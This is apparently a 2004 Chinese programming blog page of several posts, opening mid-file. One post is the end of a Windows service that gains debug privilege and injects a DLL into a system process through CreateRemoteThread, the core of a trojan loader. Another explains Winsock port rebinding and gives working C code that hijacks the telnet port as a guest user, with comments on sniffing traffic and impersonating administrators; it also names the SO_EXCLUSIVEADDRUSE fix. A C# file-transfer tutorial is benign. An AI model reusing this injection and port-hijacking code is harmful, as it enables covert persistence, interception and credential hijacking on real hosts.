fclose(fp);
char FullName[MAX_PATH + 1];
ZeroMemory(FullName,MAX_PATH + 1);
GetSystemDirectory(FullName,MAX_PATH);
lstrcat(FullName,"//");
lstrcat(FullName,BDRFILENAME);
//如果是要打开系统进程,一定要先申请debug权限
AddPrivilege(SE_DEBUG_NAME);
HANDLE hRemoteProcess = NULL;
DWORD Pid = ProcessToPID(DESTPROC);
if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE | //允许远程VM写
PROCESS_VM_READ, //允许远程VM读
0,
Pid)) == NULL)
{
WillStop = 1;
return 1;
}
char *pDllName = NULL;
if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
NULL,
lstrlen(FullName) + 1,
MEM_COMMIT,
PAGE_READWRITE)) == NULL)
{
CloseHandle(hRemoteProcess);
WillStop = 1;
return 1;
}
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
if (WriteProcessMemory(hRemoteProcess,
pDllName,
FullName,
lstrlen(FullName),
NULL) == 0)
{
VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
CloseHandle(hRemoteProcess);
WillStop = 1;
return 1;
}
//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = NULL;
if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
{
VirtualFreeEx(hRemoteProcess,pDllName,0,MEM_RELEASE);
CloseHandle(hRemoteProcess);
WillStop = 1;
return 1;
}
DWORD ThreadId = 0;
CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
NULL,
0,
pfnStartAddr, //LoadLibraryA的入口地址
pDllName,
0,
&ThreadId);
CloseHandle(hRemoteProcess);
WillStop = 1;
return 0;
}
//---------------------------------------------------------------------
void MyServiceStart (int argc, char *argv[])
{
if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
return;
}
MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}
DWORD Threadid;
// Initialization code goes here. Handle error condition
if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
{
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}
// Initialization complete - report running status.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}
while(WillStop == 0)
{
Sleep(200);
}
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
return;
}
//---------------------------------------------------------------------
void MyServiceCtrlHandler (DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here.
MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here.
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
WillStop = 1;
return;
case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;
}
// Send current status.
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}
return;
}
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error./n");
return 1;
}
if (!LookupPrivilegeValue(NULL,Name,&Luid))
{
printf("LookupPrivilegeValue error./n");
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(hToken,
0,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL))
{
printf("AdjustTokenPrivileges error./n");
return 1;
}
return 0;
}
//---------------------------------------------------------------------
//将进程名转换为PID的函数
DWORD ProcessToPID(const char *InputProcessName)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
HANDLE hProcess = NULL;
HMODULE hMod = NULL;
char szProcessName[MAX_PATH] = "UnknownProcess";
AddPrivilege(SE_DEBUG_NAME);
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PIDs
if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
{
return 0;
}
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName( hProcess, hMod,
szProcessName, sizeof(szProcessName) );
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, InputProcessName))
{
CloseHandle( hProcess );
return aProcesses[i];
}
}
}//end of if ( hProcess )
}//end of for
//没有找到相应的进程名,返回0
CloseHandle( hProcess );
return 0;
}
//--------------------------------
- 作者: hzl96 2004年11月16日, 星期二 15:13 回复(0) | 引用(0) 加入博采
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么?意味着可以进行如下的攻击:
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#include
#include
#include
#include
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!/n");
return -1;
}
saddr.sin_family = AF_INET;
//
//但是要不能影响正常应用情况下,
//应该指定具体的IP,留下127.0.0.1给正常的服务应用,
//然后利用这个地址进行转发,
//就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!/n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,
//就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,
//就可以动态的测试当前已绑定的端口哪个可以成功,
//就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用,
//这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!/n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!/n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话,
//可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,
//不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!/n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!/n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1
//这个地址把包转发到真正的应用上,
//并把应答的包再转发回去。
//如果是嗅探内容的话,
//可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,
//利用其高权限登陆用户的话,
//可以分析其登陆用户,
//然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
- 作者: hzl96 2004年11月16日, 星期二 11:41 回复(1) | 引用(0) 加入博采
System.Sockes命名空间了实现 Berkeley 套接字接口。通过这个类,我们可以实现网络计算机之间的消息传输和发送.而在我下面要讨论的这个议题里,我们将讨论的是用套节子实现文件的传输.这种方法有别于FTP协议实现的的文件传输方法,利用ftp的方法需要一个专门的服务器和客户端,无疑于我们要实现的点对点的文件传输太为复杂了一些。在这里,我们实现一个轻量级的方法来实现点对点的文件传输,这样就达到了intenet上任何两个计算机的文件共享。
System.Sockes命名空间了实现 Berkeley 套接字接口。通过这个类,我们可以实现网络计算机之间的消息传输和发送.而在我下面要讨论的这个议题里,我们将讨论的是用套节子实现文件的传输.这种方法有别于FTP协议实现的的文件传输方法,利用ftp的方法需要一个专门的服务器和客户端,无疑于我们要实现的点对点的文件传输太为复杂了一些。在这里,我们实现一个轻量级的方法来实现点对点的文件传输,这样就达到了intenet上任何两个计算机的文件共享。
在两台计算机传输文件之前,必需得先有一台计算机建立套节子连接并绑定一个固定得端口,并在这个端口侦听另外一台计算机的连接请求。
socket = new Socket(AddressFamily.InterNetwork,SocketType.Stream, ProtocolType.Tcp);
socket.Blocking = true ;
IPEndPoint computernode1 = new IPEndPoint(serverIpadress, 8080);
socket.Bind(computernode1);
socket.Listen(-1);
当有其他的计算机发出连接请求的时候,被请求的计算机将对每一个连接请求分配一个线程,用于处理文件传输和其他服务。
while ( true )
{
clientsock = socket.Accept();
if ( clientsock.Connected )
{
Thread tc = new Thread(new ThreadStart(listenclient));
tc.Start();
}
}
下面的代码展示了listenclient方法是如何处理另外一台计算机发送过来的请求。首先并对发送过来的请求字符串作出判断,看看是何种请求,然后决定相应的处理方法。
void listenclient()
{
Socket sock = clientsock ;
try
{
while ( sock != null )
{
byte[] recs = new byte[32767];
int rcount = sock.Receive(recs,recs.Length,0) ;
string message = System.Text.Encoding.ASCII.GetString(recs) ;
//对message作出处理,解析处请求字符和参数存储在cmdList 中
execmd=cmdList[0];
sender = null ;
sender = new Byte[32767];
string parm1 = "";
//目录列举
if ( execmd == "LISTING" )
{
ListFiles(message);
continue ;
}
//文件传输
if ( execmd == "GETOK" )
{
cmd = "BEGINSEND " + filepath + " " + filesize ;
sender = new Byte[1024];
sender = Encoding.ASCII.GetBytes(cmd);
sock.Send(sender, sender.Length , 0 );
//转到文件下载处理
DownloadingFile(sock);
continue ;
}
}
}
catch(Exception Se)
{
string s = Se.Message;
Console.WriteLine(s);
}
}
至此,基本的工作已经完成了,下面我们看看如何处理文件传输的。
while(rdby < total && nfs.CanWrite)
{
//从要传输的文件读取指定长度的数据
len =fin.Read(buffed,0,buffed.Length) ;
//将读取的数据发送到对应的计算机
nfs.Write(buffed, 0,len);
//增加已经发送的长度
rdby=rdby+len ;
}
从上面的代码可以看出是完成文件转换成FileStream 流,然后通过NetworkStream绑定对应的套节子,最后调用他的write方法发送到对应的计算机。
我们再看看接受端是如何接受传输过来的流,并且转换成文件的:
NetworkStream nfs = new NetworkStream(sock) ;
try
{
//一直循环直到指定的文件长度
while(rby < size)
{
byte[] buffer = new byte[1024] ;
//读取发送过来的文件流
int i = nfs.Read(buffer,0,buffer.Length) ;
fout.Write(buffer,0,(int)i) ;
rby=rby+i ;
}
fout.Close() ;
从上面可以看出接受与发送恰好是互为相反的过程,非常简单。
至此,单方向的文件传输就完成了,只需要在每个对等的节点上同时实现上面的发送和接受的处理代码就可以做到互相传输文件了。
- 作者: hzl96 2004年11月16日, 星期二 11:39 回复(1) | 引用(0) 加入博采
Windows黑客编程基础hzl96 2004年11月14日, 星期日 17:17 回复(1) | 引用(0) 加入博采
- 作者: